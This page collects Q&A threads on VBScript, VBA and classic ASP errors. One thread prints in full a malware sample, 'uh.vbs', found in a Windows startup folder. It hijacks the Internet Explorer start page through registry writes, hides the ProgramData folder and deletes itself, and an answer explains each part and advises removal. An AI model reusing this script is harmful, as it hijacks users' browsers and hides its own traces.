Word 2010 "object error" during template load - vbscript

We have recently upgraded to Office 2010 from 2003. VBScript type code that was working fine in 2003 now fails intermittently in 2010, with 'object error' or 'command failed'.
From what I've managed to work out, this appears to be the result of the Normal template still downloading/loading, despite the CreateObject call completing. When the code works, it seems that normal has loaded quickly.
Code:
Dim oWord As Object
Set oWord = CreateObject("Word.Application")
oWord.Visible = True
Set document = oWord.Documents.Open("\\networkshare\networkshare\mytemplate.dot")
The code fails on "Set document ="
I have looked for solutions to this however I haven't found any trace of people having this issue elsewhere. If I insert a delay between oWord.Visible and Set document, the issue is resolved. I'd prefer to fix this properly though, as we often deal with many hundreds of documents in one run.
I have tried to detect the completion of loading for Normal, however have been unsuccessful in this regard.
Has anyone else seen this issue and found a solution?
Many thanks
Philip

May be you should try "grab" a Word object before creating it.
Dim oWord As Object
On Error Resume Next
Set oWord = GetObject(,"Word.Application")
If oWord Is Nothing Then Set oWord = CreateObject("Word.Application")
Alternatively, disable alerts, and put the oWord.Documents.Open into a loop. For a few times with a second wait in between or until the .dot template is opened, then re-enable alerts.
Since it's on a network share, latency most likely be higher than on local storage devices. That may explain why if a wait works fine.
Depending on what the .dot template do, you might want it Visible after it is opened.

Code that was used to solve this issue:
Set oWord = CreateObject("Word.Application")
On Error Resume Next
Set oDoc = Nothing
Do While oDoc Is Nothing
Set oDoc = oWord.Documents.Open([template path])
<Wait 50ms>
Loop On Error Goto 0
Off topic, but would be useful for others with this issue:
As of Word 2010, the ActivePrinter property is now case sensitive, so you have to ensure capitalisation is the same as shown in the printers dialog.
The error Word 2010 generates when setting this property fails is "Microsoft Word: There is a printer error"

Related

What does this Visual Basic Sript called uh.vbs do?

not long ago sent my computer away for some off-warranty work (the BIOS was not recognizing one of my HDD bays) and when it came back with a new HDD board, I was getting an odd error while rebooting.
Eventually I figured out that there was a new file, called "uh.vbs", in the Windows startup folder, and there was an error when it was run upon boot. Not knowing anything about vbs I have no idea what this file does, beyond that it was either created or modified while my computer was in the repair shop. I notice that it points to a couple webpages, and has some Chinese characters, so I'm hoping that one of the well-versed people on this site can fill me in. Below is the code...
Edit: I had to take a bunch of it out because of a strange error apparently caused by Chinese characters, which is not identified by the site and which took me half an hour to eventually figure out. I deleted the Chinese-looking characters and put MISSING_CHINESE_CHARTERS everywhere I took them out.
On Error Resume Next
set lhwy=createobject("wscript.shell")
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
WScript.Sleep(30000)
set lhwy=createobject("wscript.shell")
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
Wscript.quitPAPK
Thanks for any input.
It seems to be a relatively poor attempt at malware.
This bit is trying to set your IE start page to http://home.yy8000.com/ -
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
Then the next bit waits 30 seconds before doing it again (the writer probably thought there was a chance the registry would be inaccessible when the script first runs).
This next bit is a little odd, it hides the ProgramData folder (which in most cases will be hidden anyway) -
Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0
The section with the unusual characters simply delete the script once it's done it's "damage".
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
My suspicion would be that the people who did the repair plugged a USB stick into your computer that had previously been plugged into another repair. The file had been copied automatically onto the USB and then onto your computer when they plugged it in.
Delete the file and do a virus check. The malware attempt is so poor this simple script may be hiding a bigger issue. I've seen scripts like this in the past where there is another process running that creates the script file (possibly during shutdown).
Look at Kaspersky's live CD if you didn't have a virus checker installed before sending your PC in for warranty.

Solving "unable to connect to the specified server" error in Diadem DataFileHeaderAccess

I am currently using Diadem to process a large amount of data.
There is a specific treatment that I must do on a large number of files. Therefore, I have a script loading each file one by one to do this every time.
The thing is, after several hours of computation, I get an error : Incorrect instruction or user command. In <DataFileHeaderAccess.VBC> (line:1328, column:5): Unable to conect to the specified server.
By this time, it will have successfully passed the portion of code where it happens several times, and if I launch it back on the file that has issues, it will not fail (not for this file at least).
Even more strange is that nothing is done remotely there, so I have no idea which server it might be talking about. And the file is ot opened elsewhere. Most of the time, it happens when I'm not even in the office.
And finally, I managed to find nothing anywhere regarding this issue, And I'm growing quite desperate to manage to solve it.
So ... Simple question ... "Help ?".
Well, let's develop it a little :
What might be the cause of this issue ?
How can I solve it ?
Here is the portion of code incriminated if it might help :
Function TryLoadGroup(sPath, sFileName, sGroupName, sNewGroupName)
Dim oDataFileHeader, oImportedGroup
Set oDataFileHeader = DataFileHeaderAccess(sPath & sFileName, "TDM", True)
Dim iLoop, bRet
For iLoop = 1 To oDataFileHeader.GroupCount
If oDataFileHeader.GroupNameGet(iLoop) = sGroupName Then
bret = True
End If
Next
oDataFileHeader.Close(False)
If bRet Then
Set oImportedGroup = DatafileLoadSel(sPath & sFileName,"TDM", sGroupName & "/*")
oImportedGroup.Item(1).Name = sNewGroupName
Set TryLoadGroup = oImportedGroup
Else
Set TryLoadGroup = Data.CreateElementList
End If
End Function
Set oDataFileHeader = DataFileHeaderAccess(sPath & sFileName, "TDM", True)
The error message just means that it is not capable to open the file.
There are some things I can think of
The file is corrupt (but this seems not to be true because you can open it)
The file is opened by DIAdem or a group of it is already loaded into DIAdem
DIAdem has run out of memory
Potentially you should put an error handler arround your inner loop
on error goto 0
' call a method
if 0 <> err.number then
LogFileWrite "Unable to insert file '" & filename & "': " & err.description
end if
on error goto 0
This will allow you to go on processing and see the error in the DIAdem Logfile later on.

Determine if a program started through my script is still running without using minmgmts://

Short introduction
I have an SSD and I frequently record movies with Fraps. Unfortunately, my SSD is not that big and my secondary harddrive is not fast enough for Fraps to record movies to. I decided to write a script that will start Fraps for me, and then checks if Fraps is done recording, moves the file to my second harddisk and notifies me of this event.
This works great. The problem is that I want to exit the script when I close Fraps. The only way VBScript seems to be able to do it (at least, thats what everyone recommends doing) is by querying the processlist to see if the program is active. Because Fraps is a heavy program, and I run many programs at the same time, just querying this list creates a lag spike in my recording. It only happens if I have too many programs open, but the programs themselves are not the problem, just the amount.
Given that it creates just one lag spike with one check is already too much so I'm really looking for a different solution if there is any.
Visual Basic
I've programmed a lot in Visual Basic, even though it was a many many years ago, and later using VBA, and in there you can basically start a program, retreive the handle of it, and by that handle alone, check if the application still runs. Does something like that exist in VBScript?
If VBScript won't do it, is there another simple macro scripting program that can check for filesize, execute a program and determine if that program is still running or not at a later point in the script?
The code I currently use for determining if a program runs is this:
Function IsProcessRunning( strComputer, strProcess )
Dim Process, strObject
IsProcessRunning = False
strObject = "winmgmts://" & strComputer
For Each Process in GetObject( strObject ).InstancesOf( "win32_process" )
If UCase( Process.name ) = UCase( strProcess ) Then
IsProcessRunning = True
Exit Function
End If
Next
End Function
Assuming this is on your local computer, have you tried collecting the results off of the command line rather than querying the winmgmts object?
E.g.:
Function IsProcessRunning(strProcess)
Dim objShell, strCommand, objExecObject, strText
Set objShell = CreateObject("Wscript.Shell")
strCommand = "%comspec% /c tasklist"
Set objExecObject = objShell.Exec(strCommand)
Do While Not objExecObject.StdOut.AtEndOfStream
strText = objExecObject.StdOut.ReadAll()
Loop
If instr(UCase(strText), UCase(strProcess)) Then
IsProcessRunning = True
Exit Function
Else
IsProcessRunning = False
Exit Function
End If
End Function
I found out how to do it using the method I used to do in Visual Basic, but using the new things I learned during researching Rich's method.
Even though Rich's method doesn't work, it pushed me into the right direction, so I'm giving him a vote up.
Here's the script for starting Fraps:
Dim oShell, oFraps
Set oShell = WScript.CreateObject( "WScript.Shell" )
set oFraps = oShell.exec("""c:\path\to\fraps\fraps.exe""")
Here's the main script that keeps looping until Fraps has exited.
do while IsProcessRunning()
'your code here
loop
wscript.quit
And here's the function to see if Fraps still runs.
Function IsProcessRunning()
dim result
result = oFraps.StdOut.readall
end function
I just wanted to see if the above thrown in an error and work with an error catcher to do it, but I was very surprised when just this code made my script work! It starts fraps for me, and the script continues to run until I close fraps. I use sapi.speak to notify me when the script starts and ends, and I can keep fraps open for a long time and I don't hear that the script ends. I then close fraps, and moments later the script tells me that it ends.

Excel Not Responding During Macro

I have a macro that runs on a continous loop 24/7. The computer will occasionally freeze but there is no error in the excel code. The code uses the following in order to run efficiently:
DoEvents
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Application.Calculation = xlCalculationManual
startagain:
'code
'calculations, alerts, and screen are updated
GoTo startagain
I also am using what I believe is an efficient method of copying and pasting (a bulk of the code is pasting values and formulas):
Length = Range("C1").Value
Set rng = Sheets("Linked Data").Range("A2:AA" & Length)
Range("A2").Value = rng.Value
I have chagned the processor priority on the computer to "high" for EXCEL.exe, I have the computer performance set to maximum performance, I have disable all un-necessary add-ins, and I have turned off autorecover saving.
Despite all of the above, the computer will sometimes freeze and become unresponsive. Does anyone know anything that can be done to improve the reliability?
Avoid Goto and use Application.OnTime Method to run a procedure repeatively.
You can also think of creating a Automation-addin which may lead to performance imporvement as its compiled code.
Kindly refer this link
You may also refer this link for performance imporvement link

Classic ASP : C0000005 Error on execution

I'm trying to execute classic ASP pages on a windows 2008 64 bit R2 box.
Initially the problem was with registering dlls; that's now fixed.
Register DLL file on Windows Server 2008 R2
Now when I try to access the page I get this error
Active Server Pages error 'ASP 0241'
CreateObject Exception
index.asp
The CreateObject of '(null)' caused exception C0000005.
Server object error 'ASP 0177 : c0000005'
When I change the code from Server.CreateObject to CreateObject, I end up with this error
Active Server Pages error 'ASP 0115' Unexpected error
index.asp
A trappable error (C0000005) occurred in an external object. The script cannot continue running.
I checked everything I could - Access and admin rights etc.
The application pool are set to No Managed Code + Classic mode.
Any ideas to fix this?
You're not going to fix this in ASP. The C0000005 is the Access Violation Exception. This occurs when code attempts to read memory that it hasn't allocated.
The dll is doing something bad when it loads or during the construction of the object.
Have you tested the dll with a simple .vbs file?
I had exactly the same error.
In my case the C0000005 error was caused by a missing dependancy.
ProcessMonitor help me finding it. (Filter by process, and check "Name not found")
Copying the needed file in the right place solved my problem. (In my case VB6FR.dll was a needed dependancy for vb6 in french.)
I spent several hours chasing this down as well.
In my case, it was caused by reusing a recordset object several times without closing it between DB calls. The code was working without apparent issue in several similar instances, and then one of them just stopped tolerating the process.
The error occurred when I attempted to close the recordset at the end of the page, which made troubleshooting more difficult.
I cleaned up the code, ensuring the recordset was closed between calls, and this resolved the issue.
I had the same problem happen sometime after KB4093114 was installed on a server. (I'm not 100% sure that the KB caused the problem but I suspect so because the scripting engine was updated.)
The problem was caused by a recordset that output a varchar(max) field to the markup. Even though the error does not provide a line number, I was able to pinpoint it to the outputting of the varchar(max) field through trial and error.
<%
...
rs.Open "SELECT LongDescription FROM Table1"
while (not rs.EOF)
%> <p><%= rs("LongDescription") %></p> <% ' ERROR HAPPENS BECAUSE OF THIS LINE
rs.MoveNext
wend
%>
Removing that line fixes the problem. Also, casting the field to a non-max varchar also fixes it:
rs.Open "SELECT LongDescription = Cast(LongDescription as varchar(4000)) FROM Table1"
To make matters worse, I found that once the error happens, even if you fix it you need to recycle the app pool to make the error go away.
I'm running some very old ASP code in IIS on a new Windows 10 1803 installation, and had it briefly running correctly then started to get this error message after running a repair in Office to fix an Outlook issue.
In this case, reinstalling the Microsoft Access Database Engine fixed the problem.
I had same error while loading the csv file data more than once.
Step 1 - Firstly create a temp table to transfer the csv data into temp table and then move to main table and delete temp table once data is moved. This has to be done programmatically.
Step 2 - Go to mysql and select the database and use this query SHOW FULL PROCESSLIST; use without brakets. this will show the status of running objects. If you find any object with status set to Sleep clear it before 2nd attempt to upload the file. Usually the default wait time is about 28000 second. You need to reduce it as per requirement. The code to reduce the wait time is SET GLOBAL wait_timeout=5;. Set it via mysql. This will re-set your global wait time to 5 sec. and change as per your needs. This should resolve your problem. All the best.
For my experience, you are using AVG Free, and after an update, you got this kind of error.
Just ran into this same error while trying to use my own com control and in my case it turned out to be caused by my dll being compiled in debug mode.
There are two ways around that:
Run IIS in debug mode. For 32 bit you use the following line:
C:\Windows\SysWOW64\inetsrv>w3wp.exe -debug
Note that you have to stop the IIS service and for 64 bit you use the one in System32.
Compile a release version :)
I'm adding this answer here, though I realise this is very much later than when the question was first answered. I'm putting the answer here in case it saves anyone else the hassle I've just been through.
I too was getting this error on my ASP page after I had re-installed Windows 10. Previously on my localhost IIS setup, the same page did not error. However - now it did - with the following error:
Active Server Pages error 'ASP 0115' Unexpected error index.asp
A trappable error (C0000005) occurred in an external object. The script cannot continue running.
I tried lots of things to try and sort it, such as:
Reinstalling Windows 10 again
Reinstalling IIS on the new Windows 10 installation
Trying all sorts of combinations of versions of MySQL and the ODBC Connector
Checking for missing files in Windows Process Monitor as per one of the answers on this page
Messing about with Application Pools
Messing about with lots of versions of Microsoft Visual C++ Redistributables
My problem was with an SQL Insert - when it ran, I got the error.
This is a cut down version of it:
sql = ""
sql = sql & " INSERT INTO my_table ( "
sql = sql & " card_sender, "
sql = sql & " senders_email, "
sql = sql & " recipients_email, "
sql = sql & " card_body, "
sql = sql & " session_id, "
sql = sql & " replyID) VALUES ( "
sql = sql & " ?, "
sql = sql & " ?, "
sql = sql & " ?, "
sql = sql & " ?, "
sql = sql & " ?, "
sql = sql & " ?) "
Set stmt = Server.CreateObject("ADODB.Command")
stmt.ActiveConnection = oConn
stmt.Prepared = true
stmt.commandtext = sql
stmt.Parameters.Append stmt.CreateParameter("#001_card_sender", adVarChar, adParamInput, 255, card_sender)
stmt.Parameters.Append stmt.CreateParameter("#002_senders_email", adVarChar, adParamInput, 255, senders_email)
stmt.Parameters.Append stmt.CreateParameter("#003_recipients_email", adVarChar, adParamInput, 255, recipients_email)
stmt.Parameters.Append stmt.CreateParameter("#004_card_body", adLongVarChar, adParamInput, 256665, card_body)
stmt.Parameters.Append stmt.CreateParameter("#sessionsessionID", adVarChar, adParamInput, 255, session.sessionID)
stmt.Parameters.Append stmt.CreateParameter("#replyID", adVarChar, adParamInput, 255, session("replyID"))
stmt.Execute
Set stmt = Nothing
Via a process of building up the SQL and finding which line triggered the error, I found this line caused the problem:
stmt.Parameters.Append stmt.CreateParameter("#replyID", adVarChar, adParamInput, 255, session("replyID"))
In my example, the session("replyID") value was not set, and that triggered the error.
When I changed the code to check if the session variable was set, it fixed the issue:
...
foo = session("replyID")
if foo = "" then foo = 1
...
stmt0003.Parameters.Append stmt0003.CreateParameter("#replyID", adVarChar, adParamInput, 255, foo)
More testing confirmed that the error would happen for any variable which was null, so I had to add in an if statement for every variable and set it to something if it was null, to prevent these errors which I didn't used to get on a previous Windows 10 installation on the same PC.
After spending about a day working on it, it was a relief to get to the bottom of it.
Did you just do a Windows update? I did, abouts 2021-11-20 to 21H2 19044.1387. Somehow the update along with other updates made my code constantly crash. I found that I could code around some errors, but the database (MariaDB 10.1) returned values that did not match up. I found I could declare my sql calls differently to get the right returns -- but quickly stopped re-coding. Somehow NULL was handled differently.
I was getting suspect that the driver to the database was not working the same way it used to be. I changed all connections from Server.CreateObject to CreateObject. And ended up updating the database (I am now on MariaDB 10.6) and I am using new dedicated MySQL 8.0 Unicode 64-bit driver. I am connecting via DSN.
UPDATE: These (C0000005) errors kept appearing when using Server.CreateObject. With just CreateObject it is now finally starting to look promising.
I was using this code to get the image height and width on every page and it is WIA that somehow had a memory leak and would randomly crash IIS application pool:
SET objFSO= CreateObject("Scripting.FileSystemObject")
If objFSO.fileExists(is_blog_img) and InStr(is_blog_img,".webp") = 0 Then
dim oIMG
SET oIMG = CreateObject("WIA.ImageFile") '<< do not use this!
oIMG.loadFile(is_blog_img)
og_image_h = "" & oIMG.Height
og_image_w = "" & oIMG.Width
SET oIMG = nothing
if og_image_h & "" <> "" then
%>
<meta property="og:image:width" content="<%=og_image_w %>" />
<meta property="og:image:height" content="<%=og_image_h %>" />
<%
end if
else
response.write("<!-- no file is_blog_img -->")
og_image_w = "0"
og_image_h = "0"
end if
SET objFSO = Nothing
You might want to check out this blog entry, titled "Classic ASP (ASP 3.0) doesn’t work on 64bit with 32bit COM objects" http://blogs.msdn.com/b/robgruen/archive/2005/05/26/422328.aspx
it's a bit dated and the author incorrectly refers to the ASP handler as an ISAPI filter (it's an extension, not a filter), but otherwise the information seems good.
if the asp handler is only compiled as 64bit, you will not be able to load a 32bit COM object into it no matter what you do.
the author does mention something about a COM+ solution. I have a feeling that a 32bit out of process COM+ package would be able to load this 32bit COM object and your ASP page could make cross process calls to this COM+ package.
good luck,
Mark

Resources